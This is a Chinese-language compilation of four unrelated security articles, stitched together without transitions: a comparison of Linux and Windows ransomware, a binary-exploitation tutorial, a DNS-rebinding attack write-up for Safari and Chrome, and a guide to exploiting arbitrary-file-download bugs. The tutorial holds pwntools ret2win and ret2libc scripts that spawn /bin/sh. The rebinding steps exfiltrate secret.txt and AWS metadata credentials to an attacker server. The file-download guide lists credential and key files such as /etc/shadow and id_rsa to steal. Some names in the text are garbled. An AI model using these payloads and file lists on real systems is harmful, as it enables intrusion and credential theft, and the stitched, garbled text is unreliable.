在所有以linux為中心中,一個非常普遍的模式是,他們傾向於關注特定的技術,這些技術主要與這些系統中這類威脅的主要攻擊途徑有關。與我們習慣的針對Windows的攻擊不同,比如Ryuk或REvil,它們的攻擊通常是通過針對許多用戶的網絡釣魚活動發起的,Linux最常見的攻擊鏈之一是利用受害者服務器某些暴露服務的漏洞。 ESXi中的漏洞也是如此,但也有其他情況,例如IceFire利用IBM技術中的漏洞(CVE-2022-47986)或Cl0p,其Linux版本的目標目錄中有幾個與Oracle數據庫相關的路徑以及Linux系統的通用路徑。

攻擊途徑在Windows環境中,勒索軟件攻擊者採用廣泛的攻擊途徑來破壞系統。許多具有攻擊性的針對windows的勒索軟件,通過包含惡意附件(通常在文檔中使用宏)或鏈接的網絡釣魚電子郵件到達受害者的基礎設施。例如,Emotet通常是最初的有效負載,受害者基礎設施的完全攻擊隨著Ryuk或Sodinokibi樣本的部署而結束。

除了釣魚電子郵件,過去使用Rig和Magnitude等漏洞工具來利用瀏覽器或插件等軟件中的漏洞,來導致勒索軟件的執行(現在已經不常見了)。

另一個常見的攻擊途徑是利用或暴力破解暴露在互聯網上的遠程桌面協議(RDP)服務器。

利用暴露服務上的漏洞是勒索軟件的主要攻擊手段之一。值得注意的是,在這些情況下,攻擊鏈通常涉及到Webshell的部署,最終成為最初允許他們訪問並控制相關服務器的工具。

使用被盜憑證獲取訪問權限(例如,使用SSH)是另一個正在增長的領域。憑證被盜通常是由於其他惡意軟件攻擊引起的洩漏,或者是由於涉及整個Windows系統網絡的同一攻擊的橫向移動。

在這些情況下,在Linux系統內進行檢測是非常複雜的,因為攻擊者經常使用內部系統帳戶和合法工具來訪問系統,而不是後門,其影響與在Windows系統上使用lolbin非常相似。

Linux系統的另一個常見入口類似於Windows系統中的RDP服務,掃描不同的公開服務,然後進行暴力攻擊,試圖通過弱憑據獲得對服務器的訪問權。

這是一種非常“嘈雜”的技術,但仍然有效,並且由於訪問是通過從公開的服務本身獲得的合法憑據進行的,因此難以識別。

如果我們觀察Linux服務器的所有常見攻擊途徑可以發現,每種模式都針對暴露的服務器和關鍵服務。我們可以看到以linux為目標的勒索軟件攻擊更側重於組織和公司,而不是普通用戶。

代碼重用正如許多其他類型威脅的惡意軟件家族(如Mirai或Quasar)一樣,一旦成功威脅的源代碼被發布,其他組織就會迅速出現,並試圖利用這些代碼通過小的修改(在某些情況下不是那麼小)來創建自己的工具。就Linux勒索軟件而言,最引人注目的是Babuk勒索軟件,我們可以在許多其他勒索軟件中找到Cylance或Rorschach樣本。

微信截图_20231129214317.png

基於Babuk的代碼重疊

在許多情況下,對初始工具的檢測允許我們檢測可能從源代碼中出現的所有子家族。

持久性比較持久性在勒索軟件中並不像在其他類型的威脅中那麼重要,因為一旦受害者的文件和目錄被加密,在同一系統中再次執行基本上是沒有意義的。然而,這種類型的惡意軟件的攻擊鏈確實有了很大的發展,特別是在Windows環境中,因為其目的不是加密單個計算機,而是傳播到其他計算機。在大多數情況下,攻擊者的目標是一點一點地破壞整個基礎設施,一旦他們取得了控制權,整個AD就會被加密,例如,通過GPO的方式,或者對最關鍵的計算機進行加密,以增加攻擊者收到贖金的機會。

在執行勒索軟件之前,會執行一系列允許攻擊者訪問系統的威脅和工具。這些確實需要持久性,因為整個基礎設施的攻擊可能需要很長時間。然而,儘管這是最常見的場景,但在某些情況下,威脅本身俱有建立持久性的功能。

在Windows環境中,勒索軟件通過各種手段實現持久性。最著名的例子包括註冊表操縱,如WannaCry和Ryuk,確保其有效負載在系統啟動期間執行,以及使用計劃任務,如Sodinokibi (REvil)背後的許多威脅攻擊者,利用Windows任務調度程序創建惡意任務,確保勒索軟件定期執行。

在Windows系統上獲得持久性的另一種常見方法是服務創建,這是最嚴格的。因為它需要受害者計算機上的管理員權限,但在更高級的攻擊階段,攻擊者已經獲得了必要的憑據,並對基礎設施有一定的控制,這是最常用的方法之一。

在ESXi和Linux系統中,很少看到勒索軟件採用許多已知的持久性方法,這些方法通常被其他類型的威脅所利用。在訪問後,易受攻擊的服務器被直接加密,並且在許多情況下,例如Lockbit, ESXiArgs, BlackCat或Gwisin,惡意軟件在執行後具有自我刪除的功能。

作為攻擊過程一部分的webshell的部署也應該被視為維護持久性。 webshell充當後門,允許攻擊者在重新啟動或任何類型的更改後保持對這些服務器的訪問。在更複雜的攻擊期間通過橫向移動訪問服務器的場景中,這種情況下的持久性主要減少到創建用戶帳戶或洩露原始服務器憑據,這允許攻擊者通過合法服務(如SSH)維持訪問。

最後,考慮到與Linux系統相關的事件與Windows系統相比的明顯演變,遲早會部署後門,如Merlin或Poseidon,就像現在在Windows上發生的Cobalt Strike一樣,將變得更加普遍。因此,攻擊者需要利用在Windows系統中更相似的技術,例如Cron job(相當於Windows任務調度程序)或Daemons(相當於Windows服務)等執行來獲得持久性。

主要目標在面向linux的勒索軟件的受害者類型和目標方面,我們看到了與Windows同類軟件的一些最大差異。首先,我們必須考慮到這些系統所處的環境。 Windows在個人電腦和大多數組織的用戶工作站中更為普遍,然而,在服務器領域,特別是對於使用Linux的某些類型的部署,Linux通常是唯一有效的選擇。

這意味著,就像我們可以很容易地找到多個針對個人和終端的Windows勒索軟件家族一樣,這在Linux系統中要少見得多。針對Linux的勒索軟件更明確地指向暴露的服務器或內部網絡上的服務器,這些服務器可以從Windows設備上發起的攻擊轉向訪問。

因此,與Windows威脅相比,Linux勒索軟件顯然是針對中型和大型組織的,Windows威脅在本質上要普遍得多。

同樣,這兩個系統的內部結構也導致攻擊者選擇要加密的文件夾和文件的方式有所不同。我們可以在許多面向linux的樣本中找到清單,這些清單旨在避免/boot、/etc或/sys等可能導致系統損壞的目錄,就像我們看到Windows惡意軟件避免使用一樣。

在Windows惡意軟件中沒有包含目標的配置時,它會不加區分地遍歷所有系統磁盤。在Linux惡意軟件中,更常見的是發現威脅完全依賴於提供一個或多個目標目錄的參數或配置,沒有這些參數或配置,威脅就不會執行。例如Royal, Monti, Cylance或Lockbit。

Linux和Windows中擴展管理的差異也會讓攻擊者產生一些奇怪的行為。 Cl0p就是這樣一種情況,它使用字符“.”來區分文件和文件夾。這在Windows中非常有效,但在Linux中不一定能很好地工作,因為擴展在這個系統中幾乎沒有相關性。

5.png

Cl0p勒索軟件使用“.”進行擴展

但並非所有系列中都存在該參數,對於其他示例,值得注意的是,除了與ESXi或CL0p相關路徑(Oracle路徑為“/u01/u02/u03/u04”)的特定情況外,/home和/root文件夾是配置中最常見的文件夾,然後是在某些情況下出現的/opt。

洩露在Linux中,洩漏通常與攻擊載體有關。在使用被盜憑證發生攻擊的情況下,通常使用合法工具(如SSH服務)獲得訪問權限,這同時允許從服務器提取所有類型的信息,而無需部署其他工具。

同樣,在許多情況下,利用漏洞獲得服務器訪問權與Webshell的部署相關聯,類似的情況大多數發生在Webshell,以及執行Linux命令的功能。因此,它們經常被用作進行滲透的工具。

在Windows系統中,使用RDP、WinSCP或RClone可能與使用SSH或其他合法工具(如Linux中的Curl或Wget)類似。在Windows中非常常見,而在Linux中不太常見的是使用更複雜的威脅,例如過去的威脅Trickbot或Emotet,或者為此目的使用CobaltStrike或其他開發後框架。隨著勒索軟件樣本的成熟,攻擊者的https也很可能會成熟,並且我們最終會在Linux中看到使用後門(如Merlin或Poseidon)的這種場景。

值得注意的是,勒索軟件組織利用雙重勒索已經有一段時間了,因為他們不僅劫持文件,還威脅要在他們的洩密網站上暴露受害者的敏感信息。事實上,Cl0p等幾個知名組織已經開展了一些活動,在這些活動中,他們直接跳過了加密工具,只專注於為隨後的勒索活動竊取信息。

對系統的影響在勒索軟件事件中,在檢測和取證級別上,關鍵點是攻擊者對系統的影響超出了加密本身。在Windows環境中,我們習慣於嚴密監控旨在刪除ShadowCopies、禁用備份以及試圖禁用或繞過安全工具的命令。

執行旨在關閉目標服務(如數據庫)的命令也相對常見,因為這允許威脅對大多數關鍵文件進行加密,從而增加受害者支付贖金的壓力。

在Linux系統中,對備份和關閉安全工具的擔憂還沒有Windows那麼普遍。然而,如果保持適當的監控,我們可以發現一些影響系統的元素,這些元素可以幫助早期檢測。第一個例子在Windows環境中很常見,它是一個互斥鎖,在開始加密之前由許多威脅創建,以避免同時執行可能損壞文件而不可能返回。就像在Windows中生成特定的互斥鎖對某些家庭起到保護的作用一樣,在Linux中,我們有像Lockbit這樣的樣本,默認情況下,它會生成一個名為/tmp/loker.pid的文件,如果該文件在執行時已經在系統中,則會導致進程立即終止(無論之前生成該文件的進程是否為勒索軟件本身)。

與Windows中發生的情況類似,一些家族生成較少重複的文件,例如Gwisin,其生成的互鎖文件更具隨機性: /tmp/.66486f04-bf24-4f5e-ae16-0af0fdb3d8fe。

當涉及到檢測時,一個更簡單但效率更低的版本是日誌文件。在加密過程中,從真實的攻擊活動中找到帶有調試信息的文件並不罕見,例如HelloKitty勒索軟件或Monti,它們分別生成work.log和result.txt文件,其中包含有關其執行和加密的信息,其內部字符串非常具有這兩個家族的特徵。但是,應該注意的是,這些文件的存在在任何情況下都不會阻止它們的執行,就像Mutex那樣。

關於可以監控的命令的執行,唯一真正值得注意的案例是關於ESXi系統上的虛擬化。大多數面向linux的勒索軟件樣本都有ESXi版本,或者以直接兼容的方式編譯。這就是為什麼在這些樣本中獲得正在運行的設備列表以及停止它們允許加密的功能非常常見的原因。

6.png

Royal ransomwareMonti Ransomware中嵌入的Esxi命令

7.png

Esxi命令嵌入Monti勒索軟件

Gwisin和BlackCat勒索軟件:

8.png

監控這種類型的執行是很有意義的,因為如果它是在加密之前發生的,這讓我們能夠預測加密,並可能及時檢測並採取行動。

加密方案每個勒索軟件威脅都要使用加密貨幣。在Windows中,在某些情況下,比如Conti,這部分是如何委託給Windows api本身的。在許多其他情況下,惡意軟件使用許多不同的加密庫,如CryptoPP(例如,PYSA Ransomware), mbedtls(例如,Petya)和libcrypt(例如,Moneybird)。

在Linux系統的樣本中,有一半的樣本使用OpenSSL庫執行所有加密任務。事實上,幾個最著名的惡意軟件在二進製文件中靜態鏈接了這個庫,佔威脅代碼的50%以上。不過還有一些惡意軟件是在Golang或Rust中開發的。

就算法而言,在Windows上,ChaCha20和RSA占主導地位。

在Linux世界中可以找到的變體數量較少。這些樣本中的大多數主要依賴於AES進行加密,ChaCha20是最常見的替方案。

不過,ESXiArgs使用Sosemanuk進行對稱加密,而其中Cl0p則在通常使用非對稱加密的地方使用帶有嵌入式密鑰的RC4。攻擊者在攻擊時會優先考慮效率,因為覆蓋所有目標文件的速度越快,遇到的防禦就越少。可靠性是第二個考慮因素,因此他們使用安全的庫和算法可以避免被分析。這兩個因素導致不同的攻擊者會創建相對統一的工具,這有助於我們深入了解所使用的工具和優先級,從而使安全研究人員能夠更容易地檢測到這種類型的威脅。

總結通過對linux為目標的勒索軟件分析可以發現,它們的核心功能通常被簡化為基本的加密過程,從而將其餘的工作留給腳本和合法的系統工具。這種極簡方法不僅使它們嚴重依賴外部配置和腳本,而且使它們更難以檢測。

研究還顯示了勒索軟件之間的一些獨特策略,明確關注ESXi系統,但也涉及其他技術。勒索軟件的主要入口途徑是暴露服務中的漏洞,在某些情況下,這些漏洞恰恰是最相關的服務,因此也是這類攻擊的主要目標。

比較Windows系統和Linux之間的勒索軟件加密技術發現,針對Linux的惡意軟件傾向於使用OpenSSL作為主要庫,AES作為通用加密基石,RSA作為主要的非對稱選擇。

二進制代碼利用是發現和利用計算機程序中的漏洞以修改或乾擾其預期行為的一種方法。這些漏洞可能導致身份驗證繞過和信息洩漏,或者還可能導致遠程代碼執行情形。很大一部分二進制代碼利用發生在堆棧(stack)上,有時候發生在堆(heap)上,甚至發生在內核空間上。堆棧是存儲由函數創建的臨時變量的內存區域。相比之下,堆則是可以動態分配的內存區域。

下面介紹的所有技術都依賴用戶輸入和程序的潛在崩潰或分段錯誤——緩衝區溢出。當進程試圖用超出預期的過多數據填充一塊內存區域時,就會出現這種損壞。有鑑於此,就有可能覆蓋內存,並控制下一個指令點/函數。

接下來,我們將描述堆棧利用過程中一些最常用的技術。

ret2win我們可以將ret2win技術理解為對二進制代碼中存在的特定調用«win() function»的簡單重定向。實現這一目標的主要步驟如下:

• 找到目標函數/調用,以重定向執行流«win() function»。

• 通過覆蓋堆棧上的返回地址(比如EIP)來調用它。

下一段代碼介紹如何找到這類漏洞。在添加填充和對齊載荷之後,必須添加目標調用«win() function -0x080491c3»的偏移量,最後執行它。本文使用了用於二進制利用的CTF框架Pwntools(https://github.com/Gallopsled/pwntools),為學習過程提供便利。

frompwnimport*

p=process('./vuln_program')

payload=b'A'*52

payload+=p32(0x080491c3)#targetcall«win()function»

log.info(p.clean())

p.sendline(payload)

log.info(p.clean())有了這種技術,就可以在程序執行期間跳轉到所需的函數,從而繞過應用程序控制措施。

關於這個主題的更多細節可以在這裡找到:https://corruptedprotocol.medium.com/rop-emporium-ret2win-x86-64-44a1cacb546。

ret2libcret2libc是一種技術,其中重定向流基於到libc調用的面向返回的編程(ROP)鏈。這種方法對於繞過一些二進制代碼保護(比如NX即無執行)很重要,在Windows操作系統中又稱為數據執行預防(DEP)。

在二進制代碼被利用的操作系統上找到libc的內存區域之後,必須基於libc的基址計算一些函數(包括系統調用)的實際地址。系統調用執行作為參數傳遞的任何字符串。傳遞給系統調用的最佳字符串是“/bin/sh”,這顯然會彈出新的系統shell。

下面是表示這種探索的代碼片段。正如我們所見,libc基址高亮顯示為0x7ffff7de5000,並用於計算二進制內存區域內的system和/bin/sh字符串。

之後執行ROP鏈,它因二進制漏洞、目標操作系統、架構及其他外部變量而異。

frompwnimport*

p=process('./vuln-64')

libc_base=0x7ffff7de5000#libcbaseaddressneeded

system=libc_base+0x48e20#addressofsystemcall

binsh=libc_base+0x18a143#binshstringtopopashell

POP_RDI=0x4011cb

payload=b'A'*72#Thepadding

payload+=p64(POP_RDI)#gadget-poprdi;ret

payload+=p64(binsh)#pointertocommand:/bin/sh

payload+=p64(system)#Locationofsystem

payload+=p64(0x0)#returnpointer-notimportantoncewegettheshell

p.clean()

p.sendline(payload)

p.interactive()關於該技術的更多細節以及如何探索它,可以在這裡找到:https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc。

格式字符串格式字符串技術在每當將用戶輸入字符串作為命令來評估時都會發生。這種技術可用於執行代碼、洩漏堆棧,甚至導致分段錯誤情形。

比如說,格式字符串參數%x和%s定義了格式函數的轉換類型。針對諸如此類的輸入,可能會洩露內存部分信息,這種方法還可以與上述的ret2lic一起使用。

下表給出了經常用於這種攻擊中的一些格式函數。

1.png

看看下一段C代碼,print函數易受攻擊,因為默認情況下參數函數(%p和%s等)並未指定。因此,用戶可以在輸入中指定它,從而充分利用這個二進制利用場景。

#include

voidmain(intargc,char**argv)

{

//Thislineisvulnerable,noparameterspecified(%p,%s,etc)

printf(argv[1]);

}在使用一堆%p執行程序後,堆棧地址將被洩漏,並且可以輕鬆找到執行ret2lic方法的lib基址。

./example'HelloWorld%p%p%p%p%p%p'

=output:HelloWorld000E133E000E133E0057F000CCCCCCCCCCCCCCCCCCCCCCCC關於該技術的更多細節可以在這裡找到:https://owasp.org/www-community/attacks/Format_string_attack。

流行的二進制代碼利用技術二進制代碼利用是滲透測試界利用內存不安全程序的最先進的攻擊之一。由於二進制代碼本身、保護機制以及它如何與不同的操作系統和多種架構進行交互具有復雜性,學習起來可能令人望而生畏。

本文介紹了在Chrome、Edge和Safari中實現可靠的DNS重綁定的新技術,並討論了繞過本地網絡限制的技術。通過分析慢緩存的根本原因,提出了新的解決技術。本文研究了利用DNS重綁定在Chrome、Edge和Safari中實現瞬間DNS重綁定的攻擊技術。

本文是關於DNS重新綁定係列文章中的第二篇。第一篇文章介紹了一個使用DNS重新綁定後攻擊的案例。在這篇文章中,我介紹了在IPv6可用時在Chrome, Edge和Safari中實現可靠的,瞬間DNS重新綁定的新技術,以及一種繞過本地網絡限制的技術,該技術適用於基於Chrome的瀏覽器的獲取API。

瀏覽器中的DNS重綁定傳統上被視為攻擊者通過誘騙受害者加載惡意網站來訪問內部網絡服務的一種方式,但隨著許多現代web應用程序現在在其部分功能上驅動無頭瀏覽器,它已成為攻擊web應用程序的有用工具。無頭瀏覽器,即Headless Browser,是一種沒有界面的瀏覽器。它擁有完整的瀏覽器內核,包括JavaScript 解析引擎、渲染引擎等。與普通瀏覽器最大的不同是,無頭瀏覽器執行過程中看不到運行的界面,但是我們依然可以用GUI 測試框架的截圖功能截取它執行中的頁面。在上一篇文章中,我介紹了一個使用可能是最簡單的重新綁定方法的例子。在這種情況下,我有很長的時間讓漏洞運行,但這在許多web應用程序中不太可能,需要更快的技術。

緩慢的緩存簡單的DNS重綁定技術依賴於對相同主機名的連續查找返回不同的DNS記錄。對於這些攻擊,所花費的最小時間是瀏覽器執行兩次連續DNS查找之間的時間。這有時可以通過刷新瀏覽器緩存來加快速度,生成大量DNS查找以填充可用的緩存空間,並導致舊條目在過期之前被清除,從而使瀏覽器更快地對相同的主機名執行第二次查找。

當它工作時,它仍然需要大約10秒的時間,而且通常這種技術不會起作用,因為中間緩存不能像瀏覽器的緩存那樣容易地被清除。例如,在測試期間,我發現在一個新創建的Ubuntu EC2實例上,由於系統解析的緩存,我只能每5分鐘為同一域獲得不同的響應。在VPN上,我看到DNS響應在默認解析器上至少緩存30分鐘。讓用戶將頁面打開這麼長時間以允許攻擊者實現DNS重新綁定漏洞,通常是一件很困難的事情,更不用說將無頭瀏覽器作為web應用程序的一部分驅動了。

為了加速漏洞利用,2010年Craig Heffner提出了通過在相同響應中回復同一域的多個A記錄來執行DNS重新綁定的想法,Gerald Doussot和Roger Meyer在2019年的singularity 中使用了這種技術。 Singularity是一個開放源碼容器平台,旨在簡化、快速和安全。 Singularity 是針對EPC 和HPC 工作負載進行優化的,允許不受信任的用戶以可信的方式運行不受信任的容器。

返回的兩條記錄是攻擊者控制的公共服務器的IP地址和目標服務器的(通常是私有的)IP地址。

只有當瀏覽器試圖首先與公共服務器通信並加載攻擊者的惡意頁面時,攻擊才會起作用。然後,攻擊者的web服務器開始阻止來自受害者瀏覽器的流量,導致瀏覽器退回到將所有請求發送到目標服務器。在這種情況下,攻擊者頁面中的JavaScript將能夠向同一來源下的目標IP地址發送請求。

1.png

這種技術確實繞過了緩存問題,因為瀏覽器只需要執行一次DNS查找,儘管在我的測試期間,所有主要瀏覽器都會始終嘗試在公共IP地址之前與私有IP地址通信,這意味著這些技術不起作用。雖然我不相信這種行為是為了防止DNS重新綁定,但它可以有效的阻止這種技術。

這種新行為促使我研究新的技術,可以用來在Safari和基於chrome的瀏覽器中實現瞬間DNS重新綁定。這些技術的關鍵是找到新的方法,使瀏覽器最初使用公共IP,然後在加載網站時切換到使用私有IP。打開Wireshark,我注意到在現代瀏覽器中加載網站時,會同時發送A和AAAA查詢。我開始調查這種行為是否可以用來可靠地執行DNS重新綁定。

攻擊Safari:延遲DNS響應當你在通過IPv6訪問互聯網的主機上加載Safari網頁時,分別為IPv4和IPv6地址發送A和AAAA DNS查詢。當返回多個IP地址時,Safari將優先考慮私有IP地址而不是公共IP地址。

當A或AAAA響應延遲時,Safari中允許快速DNS重新綁定的有趣行為會發生。在這種情況下,Safari不會等待所有DNS響應,而是在接收到第一個DNS響應後立即發送HTTP請求。當收到延遲的DNS響應時,此響應中的IP地址將被添加到IP地址池中,Safari可以在將來請求該域時使用該IP地址池。

這意味著,如果第一個DNS響應是針對公共IP地址的,而延遲的DNS響應是針對私有IP地址的,Safari將向公共IP地址發送第一個請求,直到接收到延遲的DNS響應,此時它將開始向私有IP地址發送請求。

2.png

這提供了一種在Safari中使用自定義DNS服務器實現DNS重新綁定的簡單方法,該服務器可處理*.r.inded.es的查詢:

1.加載目標瀏覽器http://safari.r.intrud.es,觸發safari.r.intrud.es的A和AAAA查找。

2.讓DNS服務器立即返回AAAA記錄,其中包含互聯網上攻擊者控制的web服務器的IPv6地址。暫時不要返回A響應。

3.一旦收到AAAA響應,Safari將向攻擊者的web服務器發出第一個請求。從攻擊者的web服務器返回一個帶有JavaScript的頁面來重複請求http://safari.r.intrud.es/secret.txt。

4.從DNS服務器發送包含本地網絡上目標服務器的IP地址的A響應。

5.Safari現在將對http://safari.r.intrud.es/secret.txt的請求發送到本地網絡上的目標服務器。從攻擊者的服務器加載的頁面可以讀取這些請求的響應,而不會違反同源策略。

為了實現這一點,我編寫了一個小型DNS服務器,可以使用命令行參數延遲DNS響應。在實踐中,我發現將A響應延遲100毫秒幾乎總是足夠的,儘管可以使用200毫秒或更長時間的延遲來使該技術更加可靠。可以在這裡https://github.com/intruder-io/dns-delay-server找到這個服務器以及設置它的說明。

我用來利用它的PHP腳本會將用戶重定向到r.introd.es的隨機子域,以避免中間緩存干擾利用。它還將JavaScript直接包含在頁面中,以避免另一個資源負載。你可以在這裡找到使用的代碼。

該腳本在操作中的視頻請點此,從本地web服務器檢索文件的內容:

3.jpg

我在iOS上的Safari和Brave上進行了測試,發現同樣的技術也可以用於訪問內部網絡上的服務。

攻擊Chrome:使用AAAA優先級Chrome將優先加載本地網絡上的頁面,而不是互聯網上的頁面,但在可用的情況下,它會優先加載IPv6而不是IPv4上的頁面。所以首要任務是:

1.本地IPv6(最高優先級);

2.公共IPv6;

3.當地IPv4;

4.公共IPv4(最低優先級);

這裡的關鍵部分是Chrome會優先考慮公共IPv6地址而不是私有IPv4地址。此外,當Chrome知道一個域的多個IP地址時,一旦服務器重置連接,它就會嘗試不同的IP地址。

4.png

這給出了一個針對Chrome的快速DNS重綁定計劃:

1.加載http://chrome.r.intrud.es,這將觸發A和AAAA查找chrome.r.intrud.es。

2.讓DNS服務器返回指向本地網絡上目標web服務器的A記錄和指向公共互聯網上攻擊者控制的web服務器的AAAA記錄。

3.Chrome將優先考慮IPv6地址,並從攻擊者控制的web服務器發出第一個加載頁面的請求,該服務器返回JavaScript以重複向http://chrome.r.intrud.es/secret.txt發出請求。

4.關閉攻擊者控制的服務器,以便重置所有連接。 Chrome現在將把所有請求發送到本地網絡上的目標服務器。

5.讓加載的頁面向http://chrome.r.intrud.es/secret.txt發出請求。可以在不違反同源策略的情況下讀取對這些請求的響應。

這個計劃幾乎成功了。從互聯網加載的頁面上的JavaScript試圖向本地網絡上的目標發出請求,但這些請求被阻止,並在控制台中顯示以下錯誤:

Accesstofetchat'http://chrome.r.intrud.es/secret.txt'fromorigin'http://chrome.r.intrud.es'hasbeenblockedbyCORSpolicy:Therequestclientisnotasecurecontextandtheresourceisinmore-privateaddressspace`local`.出現此錯誤是因為Chrome部分實現了私有網絡訪問(PNA)https://wicg.github.io/private-network-access/規範中描述的保護。

繞過PNAPrivate Network Access(以前稱為CORS-RFC1918 )限制了網站向私有網絡上的服務器發送請求的能力。根據規範,此類請求只允許來自安全上下文。另外,該規範擴展了跨域資源共享(CORS)協議,因此網站現在必須在允許發送任意請求之前,必須顯式請求私有網絡上服務器的許可。

私有網絡是指目標服務器的IP地址比從其獲取請求服務器的IP地址更私有的請求。例如,從公共網站(https://example.com)向私有網站(http://router.local)的請求,或從私有網站向localhost 的請求。

PNA保護阻止通過普通HTTP從公共互聯網加載的頁面向私有網絡發出請求。在Chrome中,這些保護是為fetch請求實現的,但還沒有為iframe實現。不完整的實現以及DNS重新綁定允許繞過對獲取請求的PNA限制。

我們可以重複利用到上面的步驟4,其中公共web服務器已經關閉,所有對http://chrome.r.intrud.es的請求現在都被定向到本地網絡上的目標服務器。加載的首頁不能向本地網絡發出請求,因為它是通過HTTP從公共互聯網加載的,但是我們可以在iFrame中加載http://chrome.r.intrud.es。這個iFrame中的頁面將從目標web服務器加載。由於此服務器位於本地網絡上,因此允許在iFrame中加載的頁面向本地網絡發出請求。

iFrame中的頁面也與頂部頁面處於相同的起源,這使得頂部頁面可以完全控制框架頁面的DOM。這包括注入腳本,使獲取請求進入框架頁面。這些腳本可以用來訪問目標web服務器並洩露數據,就像如果PNA根本沒有實現的話,它們可以從首頁獲取數據一樣。

6.png

所以,把這些放在一起,我們最終得到了一個完整的步驟:

1.加載http://chrome.r.intrud.es,這將觸發A和AAAA查找chrome.r. imports .es。

2.讓DNS服務器返回一條A記錄,指向本地網絡中的目標web服務器,並返回一條AAAA記錄,指向公網上攻擊者控制的web服務器。

3.Chrome將首先請求從攻擊者的web服務器加載頂部頁面,該服務器返回一個頁面以執行以下步驟。

4.關閉攻擊者控制的服務器,以便重置所有連接嘗試。 5.Chrome現在將把所有請求發送到本地網絡上的目標服務器。

6.從首頁,將一個腳本注入框架頁面以請求http://chrome.r.intrud.es/secret.txt並將響應發送到攻擊者的web服務器。

這可以在Chrome中實現瞬間DNS重新綁定。

7.jpg

為了幫助實現這個漏洞,我編寫了一個小型web服務器,當它接收到/block請求時將停止。你可以在這裡找到運行它的源代碼和說明。

當攻擊自動瀏覽器時,你通常想要在頁面中包含一個iFrame,這需要一些時間來加載。這將阻止瀏覽器認為頁面已完全加載,直到iFrame已加載,並確保漏洞利用腳本有足夠的時間運行。下面的演示顯示,當gowitness被用來從啟用了IPv6的EC2上截取惡意網站的截圖時,這個漏洞被用來從AWS元數據服務中提取憑證:

8.jpg

或者對於更可能在web應用程序中發現的場景,使用無頭Chromium將網頁轉換為PDF:

9.jpg

這種繞過Chrome的PNA限制的行為通過他們的問題跟踪器報告給了Chrome團隊。他們確定這不是安全問題,因為PNA的限制仍在實施過程中。

總結DNS重新綁定是攻擊web應用程序的一個武器。在本系列的第一篇文章中,我試圖展示如何在不太複雜的情況下實現針對web應用程序的重新綁定漏洞。在這篇文章中,我提供了一些工具和技術來構建可靠的漏洞攻擊驅動自動瀏覽器的web應用程序,即使它們只加載頁面很短的時間。

0x01 前言任意文件下載漏洞作為最常見的WEB漏洞之一,在平常的滲透測試中經常遇到,但是很多人卻並沒有深入去想該如何利用這種漏洞,導致忽略了一些細節的信息。

0x02傳統利用1) 下載配置文件連數據庫通過任意文件下載漏洞下載網站配置文件,利用數據庫配置信息遠程連接數據庫。

php:通過讀取當前頁面源碼反向查找數據庫配置文件

aspx:Web.config

java:WEB-INF/web.xml、WEB-INF/classes/applicationContext.xml 、application.yml、application.properties、conf/tomcat-users.xml

其它配置:php.ini、my.ini、MetaBase.xml、access.log

2) 下載操作系統敏感文件通過下載操作系統中的文件獲取敏感信息,不同操作系統中的敏感文件包括

Windows:

C:\Windows\win.ini

C:\Windows\System32\drivers\etc\hostsC:\ProgramData\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.{%d}.gthr其中%d替換為1-500的數字,文件中保存大量應用對應的臨時文件路徑,可以洩露敏感信息,有時有奇效C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt其中Administrator可以替換為其它系統用戶名,文件中保存Powershell歷史執行命令記錄

Linux:

/etc/passwd

/etc/shadow

/etc/profile

/etc/hosts

/etc/issue

/etc/ssh/sshd_config

/root/.bash_history歷史命令

/root/.ssh/authorized_keys

ssh公鑰/root/.ssh/id_rsa

ssh私鑰/root/.mysql_history

/proc/net/arp

內網arp表信息

/proc/net/route

內網路由表信息

/proc/net/tcp

主機建立的tcp連接信息,類似於netstat

/proc/[PID]/cmdline

其中pid替換為進程號,返回當進程運行時的命令

/proc/[PID]/environ其中pid替換為進程號,返回當進程運行時的環境變量信息

/proc/self/loginuid當前用戶

/proc/sched_debug獲取當前進程信息0x03 進階利用1)SpringBoot環境下的任意文件利用SpringBoot一般來說是通過jar包來啟動服務,如圖3.1所示,所以通過任意文件下載漏洞最有利用價值的是下載到SpringBoot對應的jar包。

QQ截图20231225110711.png

這裡可以組合linux文件下載中的多個文件,構造一條SpringBoot任意文件下載利用鏈,如下所示。

【Step1】

從圖3.1可以看出SpringBoot一般是通過java命令來啟動的,所以可以通過java關鍵字來定位對應的pid進程號。

通過任意文件讀取/proc/sched_debug,獲取服務器中的進程信息。通過關鍵字java定位SpringBoot對應的進程,獲取進程號pid,如圖3.2所示。

QQ截图20231225110851.png

【Step2】

通過/proc/[PID]/cmdline和/proc/[PID]/environ獲取進程對應的信息,一般情況下通過這種方式可以拿到SpringBoot對應的jar包的絕對路徑,如圖3.3,圖3.4所示。其中cmdline可以獲取進程對應的包名,environ可以獲取對應的絕對路徑,組合之後可以得到jar包對應絕對路徑,如圖3.5所示。

QQ截图20231225110949.png

通過組合/proc/sched_debug和/proc/[PID]/environ可以滿足絕大部分場景下對目標進程信息的探索。

2)SpringMVC環境下的任意文件利用由於java程序並不能像PHP那樣通過讀當前文件來一步步下載整個程序的源碼做代碼審計,SpringMVC環境下一般的代碼處理邏輯都在controller類中,但是我們仍然可以通過任意文件下載漏洞來下載對應的源碼。

【Step1】

通過下載WEB-INF/web.xml文件,查看其中的servlet-class標籤,有針對性下載標籤對應的類名,如圖3.6所示。

QQ截图20231225111038.png【Step2】

基於拿到的類的全限定類名,下載對應的class文件。如圖3.6所示,拿到類的全限定類名是com.js.oa.jsflow.action.WorkFlowPdfServlet,則對應的class文件相對路徑為classes/com/js/oa/jsflow/action/WorkFlowPdfServlet.class,如圖3.7所示。

QQ截图20231225111111.png

除了web.xml中可以找到類的全限定類名,在任何一個.class文件中,均可以找到這種類似的全限定類名。通過這種方式遍歷可以較完整的拿到整個SpringMVC的源碼,對於其它tomcat servlet項目也是一樣的思路。

需要說明的是,並不是所有的tomcat項目的controller源碼都能在WEB-INF/classes/目錄下找到,還有部分系統會把邏輯代碼寫到jar包中並放在WEB-INF/lib/目錄下,如圖3.8所示,某系統在classes目錄下不存在任何class文件,所有的邏輯均在WEB-INF/*.jar包中。如果代碼邏輯在jar包中,就需要猜測jar包的完整名稱,這種情況下通常不容易通過黑盒方式下載到源代碼。

